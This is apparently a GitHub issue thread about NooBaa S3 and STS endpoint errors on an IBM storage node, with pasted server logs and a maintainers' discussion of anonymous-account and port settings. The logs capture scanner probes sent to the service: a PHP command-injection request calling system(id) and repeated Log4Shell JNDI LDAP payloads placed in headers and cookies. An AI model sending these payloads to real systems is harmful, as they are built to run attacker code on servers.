Nov  5 00:32:20 node-gui1 [1331512]: [nsfs/1331512] [ERROR] core.endpoint.s3.s3_rest:: S3 ERROR <?xml version="1.0" encoding="UTF-8"?><Error>Invalid
AccessKeyId<Message>The AWS access key Id you provided does not exist in our records.</Message><Resource>/</Resource><RequestId>m340joi5-a7121q-ruy</Re
questId></Error> GET / {"host":"gpfs-p10-gui1.rtp.raleigh.ibm.com:6443","accept-charset":"iso-8859-1,utf-8;q=0.9,*;q=0.1","accept-language":"en","connection":
"Keep-Alive","user-agent":"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)","pragma":"no-cache","accept":"image/gif, image/x-xbitmap, image/jp
eg, image/pjpeg, image/png, */*"} Error: Account with access_key not found    at NsfsObjectSDK.load_requesting_account (/usr/local/noobaa-core/src/sdk/object_
sdk.js:232:61)    at async authorize_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:205:5)    at async handle_request (/usr/local/noobaa-core/src/
endpoint/s3/s3_rest.js:126:5)    at async Object.s3_rest [as handler] (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:66:9)
Nov  5 00:32:20 gpfs-p10-gui1 [1331513]: [nsfs/1331513]  [WARN] core.util.signature_utils:: Anonymous request: GET /cgi-bin/hw3.php?daysonly=0).system(id).( {
 host: 'node-gui1.rtp.raleigh.ibm.com:6443', 'accept-charset': 'iso-8859-1,utf-8;q=0.9,*;q=0.1', 'accept-language': 'en', connection: 'Keep-Alive', 'user-
agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)', pragma: 'no-cache', accept: 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, i
mage/png, */*' }
Nov  5 00:32:20 node-gui1 [1331513]: [nsfs/1331513]  [WARN] core.util.signature_utils:: Anonymous request: GET /cgi-bin/hw3.php?daysonly=0).system(id).( {
 host: 'node-gui1.rtp.raleigh.ibm.com:6443', 'accept-charset': 'iso-8859-1,utf-8;q=0.9,*;q=0.1', 'accept-language': 'en', connection: 'Keep-Alive', 'user-
agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)', pragma: 'no-cache', accept: 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, i
mage/png, */*' }
Nov  5 00:32:20 node-gui1 [1331513]: [nsfs/1331513]  [WARN] core.sdk.config_fs:: get_config_data: with config_file_path /ibm/fvt_ces_root/ces/s3-config/ac
counts/anonymous.json got an error [Error: No such file or directory] { code: 'ENOENT', context: 'Readfile _path=/ibm/fvt_ces_root/ces/s3-config/accounts/anon
ymous.json ' }
Nov  5 00:32:20 node-gui1 [1331513]: [nsfs/1331513] [ERROR] core.sdk.bucketspace_fs:: BucketSpaceFS.read_account_by_access_key: failed with error [Error:
No such file or directory] { code: 'ENOENT', context: 'Readfile _path=/ibm/fvt_ces_root/ces/s3-config/accounts/anonymous.json ' }
Nov  5 00:32:20 node-gui1 [1331513]: [nsfs/1331513] [ERROR] core.sdk.object_sdk:: load_requesting_account error: RpcError: Account with access_key not fou
nd.    at BucketSpaceFS.read_account_by_access_key (/usr/local/noobaa-core/src/sdk/bucketspace_fs.js:93:23)    at async LRUCache._load_item (/usr/local/noobaa
-core/src/util/lru_cache.js:83:22)    at async LRUCache.get_with_cache (/usr/local/noobaa-core/src/util/lru_cache.js:72:13)    at async NsfsObjectSDK.load_req
uesting_account (/usr/local/noobaa-core/src/sdk/object_sdk.js:217:39)    at async authorize_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:205:5)
   at async handle_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:126:5)    at async Object.s3_rest [as handler] (/usr/local/noobaa-core/src/endpo
int/s3/s3_rest.js:66:9) {  rpc_code: 'NO_SUCH_ACCOUNT',  rpc_data: [Error: No such file or directory] { code: 'ENOENT', context: 'Readfile _path=/ibm/fvt_ces_
root/ces/s3-config/accounts/anonymous.json ' }}
Nov  5 00:32:20 node-gui1 [1331513]: [nsfs/1331513] [ERROR] core.endpoint.s3.s3_rest:: S3 ERROR <?xml version="1.0" encoding="UTF-8"?><Error>Invalid
AccessKeyId<Message>The AWS access key Id you provided does not exist in our records.</Message><Resource>/cgi-bin/hw3.php?daysonly=0).system(id).(</Res
ource><RequestId>m340joiv-am64db-5w7</RequestId></Error> GET /cgi-bin/hw3.php?daysonly=0).system(id).( {"host":"node-gui1.com:6443","accep
t-charset":"iso-8859-1,utf-8;q=0.9,*;q=0.1","accept-language":"en","connection":"Keep-Alive","user-agent":"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)","pragma":"no-cache","accept":"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*"} Error: Account with access_key not found
at NsfsObjectSDK.load_requesting_account (/usr/local/noobaa-core/src/sdk/object_sdk.js:232:61)    at async authorize_request (/usr/local/noobaa-core/src/endpo
int/s3/s3_rest.js:205:5)    at async handle_request (/usr/local/noobaa-core/src/endpoint/s3/s3_rest.js:126:5)    at async Object.s3_rest [as handler] (/usr/lo
cal/noobaa-core/src/endpoint/s3/s3_rest.js:66:9)

gpfs.log when  the S3 service is shutdown

Nov 05 00:38:07 node-gui1 [1331512]: [nsfs/1331512]  [WARN] core.util.signature_utils:: Anonymous request: GET /cgi-bin/administrator.cgi { host: 'node-gui1.com:7443', 'accept-charset': 'iso-8859-1,utf-8;q=0.9,*;q=0.1', 'accept-language': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4
${lower:ten}.w.nessus.org/nessus}', connection: 'Keep-Alive', referer: '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}'
, 'x-api-version': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', cookie: '${jndi:ldap://log4shell-generic-BSwhhXUF6
D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};JSESSIONID=${jndi:ldap://lo
g4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};SESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};PHPSESSID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};token=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};session=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', 'user-agent': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', pragma: 'no-cache', 'if-modified-since': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', accept: '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}' }
Nov 05 00:38:07 node-gui1 [1331512]: [nsfs/1331512] [ERROR] core.endpoint.sts.sts_rest:: STS ERROR <?xml version="1.0" encoding="UTF-8"?><Error>InternalFailure<Message>The request processing has failed because of an unknown error, exception or failure.</Message><Resource>/cgi-bin/administrator.cgi</Resource><RequestId>m340r4t3-5kzozq-17c3</RequestId></Error> GET /cgi-bin/administrator.cgi {"host":"node-gui1.com:7443","accept-charset":"iso-8859-1,utf-8;q=0.9,*;q=0.1","accept-language":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","connection":"Keep-Alive","referer":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","x-api-version":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","cookie":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};JSESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};SESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};PHPSESSID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};token=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};session=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","user-agent":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","pragma":"no-cache","if-modified-since":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","accept":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}"} Error: The request processing has failed because of an unknown error, exception or failure.    at parse_request_body (/usr/local/noobaa-core/src/util/http_utils.js:283:15)    at Object.read_and_parse_body (/usr/local/noobaa-core/src/util/http_utils.js:247:11)    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)    at async handle_request (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:83:5)    at async sts_rest (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:41:9)
Nov 05 00:38:12 node-gui1 [1331513]: [nsfs/1331513]  [WARN] core.util.signature_utils:: Anonymous request: GET /cgi-bin/agorn.cgi { host: 'node-gui1.com:7443', 'accept-charset': 'iso-8859-1,utf-8;q=0.9,*;q=0.1', 'accept-language': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:
ten}.w.nessus.org/nessus}', connection: 'Keep-Alive', referer: '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', 'x-api
-version': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', cookie: '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALn
Pc4${lower:ten}.w.nessus.org/nessus}=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};JSESSIONID=${jndi:ldap://log4shell-
generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};SESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};
PHPSESSID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};token=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lo
wer:ten}.w.nessus.org/nessus};session=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', 'user-agent': '${jndi:ldap://log
4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}', pragma: 'no-cache', 'if-modified-since': '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UB
LALnPc4${lower:ten}.w.nessus.org/nessus}', accept: '${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}' }
Nov 05 00:38:12 node-gui1 [1331513]: [nsfs/1331513] [ERROR] core.endpoint.sts.sts_rest:: STS ERROR <?xml version="1.0" encoding="UTF-8"?><Error>Inte
rnalFailure<Message>The request processing has failed because of an unknown error, exception or failure.</Message><Resource>/cgi-bin/agorn.cgi</Resourc
e><RequestId>m340r8pb-6ds42k-trb</RequestId></Error> GET /cgi-bin/agorn.cgi {"host":"gpfs-p10-gui1.rtp.raleigh.ibm.com:7443","accept-charset":"iso-8859-1,utf-8;q=0.9,*;q=0.1","accept-language":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","connection":"Keep-Alive","referer":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","x-api-version":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","cookie":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};JSESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};SESSIONID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};PHPSESSID=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};token=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus};session=${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","user-agent":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","pragma":"no-cache","if-modified-since":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}","accept":"${jndi:ldap://log4shell-generic-BSwhhXUF6D0UBLALnPc4${lower:ten}.w.nessus.org/nessus}"} Error: The request processing has failed because of an unknown error, exception or failure.    at parse_request_body (/usr/local/noobaa-core/src/util/http_utils.js:283:15)    at Object.read_and_parse_body (/usr/local/noobaa-core/src/util/http_utils.js:247:11)    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)    at async handle_request (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:83:5)    at async sts_rest (/usr/local/noobaa-core/src/endpoint/sts/sts_rest.js:41:9)
Nov 05 00:38:16 node-gui1 systemd[1]: Stopping The NooBaa service....
Nov 05 00:38:16 node-gui1 systemd[1]: noobaa.service: Killing process 1331522 (node) with signal SIGKILL
....

## Expected behavior
1.

The error messages when stopping the S3 service and then continuous logs in the noobaa file should be investigated as we havent created any anonymous S3 user in the environment

### Steps to reproduce
1.

Didn't do anything specific to the operation, it shows anonymous.json as account which is not created at all in the system

### More information - Screenshots / Logs / Other output
Will upload the noobaa.log and the gpfs.log into the box folder https://ibm.ent.box.com/folder/292595927684

@rkomandu Our STS port is enabled by default to be 7443, although we are not supporting STS on NC, we can disable it for now.
notice that this client is doing a GET /cgi-bin/administrator.cgi using anonymous request, you probably want to check why it's running.
regarding the STS error message when sending anonymous request I think it's a general STS issue, @Neon-White are you familiar with this? I can open a bug if this is unknown

@rkomandu Do you have ENDPOINT_SSL_STS_PORT in the config file? I checked in our code and by default we set it to -1 so we don't listen to STS requests unless this port is bigger than 0.

@romayalon , this is our noobaa-5.17.0/1, it doesn't have the port , currently have the following in the environment
ENABLEMD5 : true
ENDPOINT_FORKS : 2
ENDPOINT_PORT : 6001
ENDPOINT_SSL_PORT : 6443

As mentioned it is in the 5.17.0 onwards

@rkomandu at the beginning of the logs do you see a message that says that we started the STS server and we listen to port (7443)  ?

@romayalon
when zgrep is performed
`noobaa.log-20241026.gz:Oct 25 06:01:50 node-gui1 [1331512]: [nsfs/1331512]  [WARN] CONSOLE:: nsfs: config.json= { CONFIG_ROOT: '', ENDPOINT_FORKS: 2, NSFS_BUF_POOL_MEM_LIMIT: 0, NSFS_BUF_SIZE: 0, ENDPOINT_PORT: 6001, ENDPOINT_SSL_PORT: 6443, ENDPOINT_SSL_STS_PORT: 0, EP_METRICS_SERVER_PORT: 0, ALLOW_HTTP: false, NSFS_CALCULATE_MD5: true, UV_THREADPOOL_SIZE: 16, GPFS_DL_PATH: '/usr/lpp/mmfs/lib/libgpfs.so', NSFS_OPEN_READ_MODE: '', NSFS_CHECK_BUCKET_BOUNDARIES: false, NSFS_TRIGGER_FSYNC: false, NSFS_WHITELIST: [], TIME_TO_SYNC_BUCKET: 0, TIME_TO_SYNC_ACCOUNT: 0, BACKUP_PATH: '', RESTORE_PATH: '', NOOBAA_LOG_LEVEL: 'default', NSFS_NC_STORAGE_BACKEND: 'GPFS', NSFS_NC_CONFIG_DIR_BACKEND: 'GPFS', NSFS_DIR_CACHE_MAX_DIR_SIZE: 536870912, NSFS_DIR_CACHE_MAX_TOTAL_SIZE: 1073741824, NSFS_GLACIER_ENABLED: false, NSFS_GLACIER_LOGS_ENABLED: false, NC_MASTER_KEYS_GET_EXECUTABLE: '/usr/lpp/mmfs/bin/cess3_key_get', NC_MASTER_KEYS_PUT_EXECUTABLE: '/usr/lpp/mmfs/bin/cess3_key_put', NC_MASTER_KEYS_STORE_TYPE: 'executable', LOG_TO_SYSLOG_ENABLED: true, LOG_TO_STDERR_ENABLED: false, NC_DISABLE_ACCESS_CHECK: false, NSFS_RENAME_RETRIES: 1000 }
`

yes @romayalon

noobaa.log-20241026.gz:Oct 25 05:46:40 node-gui1 [1312177]: [nsfs/1312177]  [WARN] core.util.ssl_utils:: Generating self-signed SSL certificate for STS
noobaa.log-20241026.gz:Oct 25 05:46:40 node-gui1 [1312177]: [nsfs/1312177]    [L0] core.endpoint.endpoint:: Starting STS HTTPS 7443
noobaa.log-20241026.gz:Oct 25 05:46:40 node-gui1 [1312177]: [nsfs/1312177]    [L0] core.endpoint.endpoint:: Started STS HTTPS successfully
noobaa.log-20241026.gz:Oct 25 05:46:40 node-gui1 [1312178]: [nsfs/1312178]    [L0] core.endpoint.endpoint:: Starting STS HTTPS 7443
noobaa.log-20241026.gz:Oct 25 05:46:40 node-gui1 [1312178]: [nsfs/1312178]    [L0] core.endpoint.endpoint:: Started STS HTTPS successfully
noobaa.log-20241026.gz:Oct 25 05:57:55 node-gui1 [1311763]: [nsfs/1311763]  [WARN] CONSOLE:: nsfs: config.json= { CONFIG_ROOT: '', ENDPOINT_FORKS: 2, NSFS_BUF_POOL_MEM_LIMIT: 0, NSFS_BUF_SIZE: 0, ENDPOINT_PORT: 6001, ENDPOINT_SSL_PORT: 6443, ENDPOINT_SSL_STS_PORT: 0, EP_METRICS_SERVER_PORT: 0, ALLOW_HTTP: false, NSFS_CALCULATE_MD5: true, UV_THREADPOOL_SIZE: 16, GPFS_DL_PATH: '/usr/lpp/mmfs/lib/libgpfs.so', NSFS_OPEN_READ_MODE: '', NSFS_CHECK_BUCKET_BOUNDARIES: false, NSFS_TRIGGER_FSYNC: false, NSFS_WHITELIST: [], TIME_TO_SYNC_BUCKET: 0, TIME_TO_SYNC_ACCOUNT: 0, BACKUP_PATH: '', RESTORE_PATH: '', NOOBAA_LOG_LEVEL: 'default', NSFS_NC_STORAGE_BACKEND: 'GPFS', NSFS_NC_CONFIG_DIR_BACKEND: 'GPFS', NSFS_DIR_CACHE_MAX_DIR_SIZE: 536870912, NSFS_DIR_CACHE_MAX_TOTAL_SIZE: 1073741824, NSFS_GLACIER_ENABLED: false, NSFS_GLACIER_LOGS_ENABLED: false, NC_MASTER_KEYS_GET_EXECUTABLE: '/usr/lpp/mmfs/bin/cess3_key_get', NC_MASTER_KEYS_PUT_EXECUTABLE: '/usr/lpp/mmfs/bin/cess3_key_put', NC_MASTER_KEYS_STORE_TYPE: 'executable', LOG_TO_SYSLOG_ENABLED: true, LOG_TO_STDERR_ENABLED: false, NC_DISABLE_ACCESS_CHECK: false, NSFS_RENAME_RETRIES: 1000 }

@rkomandu per this comment, this print shows what you have in your config.json and that it included this port - "ENDPOINT_SSL_STS_PORT: 0", please remove it and try again
@Neon-White thanks, we need to handle it, opened a bug.

@romayalon , it doesn't have
ENABLEMD5 : true
ENDPOINT_FORKS : 2
ENDPOINT_PORT : 6001
ENDPOINT_SSL_PORT : 6443

@rkomandu can you show me the full config.json or reproduce on your machine ?

yes @romayalon , it is as follows
cat <ces-shared-root>/ces/s3-config/config.json
{"ENDPOINT_FORKS":2, "ENDPOINT_PORT":6001, "ENDPOINT_SSL_PORT":6443, "LOG_TO_SYSLOG_ENABLED":true, "ALLOW_HTTP":false, "NSFS_CALCULATE_MD5":true, "UV_THREADPOOL_SIZE":16, "GPFS_DL_PATH":"/usr/lpp/mmfs/lib/libgpfs.so", "LOG_TO_STDERR_ENABLED":false, "NC_DISABLE_ACCESS_CHECK":false, "NOOBAA_LOG_LEVEL":"all", "NSFS_NC_STORAGE_BACKEND":"GPFS", "NSFS_NC_CONFIG_DIR_BACKEND":"GPFS", "NSFS_DIR_CACHE_MAX_DIR_SIZE":536870912, "NSFS_DIR_CACHE_MAX_TOTAL_SIZE":1073741824, "NSFS_GLACIER_ENABLED":false, "NSFS_GLACIER_LOGS_ENABLED":false, "NC_MASTER_KEYS_GET_EXECUTABLE":"/usr/lpp/mmfs/bin/cess3_key_get", "NC_MASTER_KEYS_PUT_EXECUTABLE":"/usr/lpp/mmfs/bin/cess3_key_put", "NC_MASTER_KEYS_STORE_TYPE":"executable"}

please ping me we can look at the system, as posted this has been observed from Oct 1st week timeframe.

@rkomandu S3 request was sent without any header information and that is why s3_rest is throwing an error.
Noobaa doesn't have any log4j error, you are seeing log4j in logs only because some client/agent with the name log4shell-generic is sending an empty header s3 request to Noobaa.

@rkomandu @naveenpaul1 Naveen fixed this issue, can you please validate?

authors: naveenpaul1 rkomandu romayalon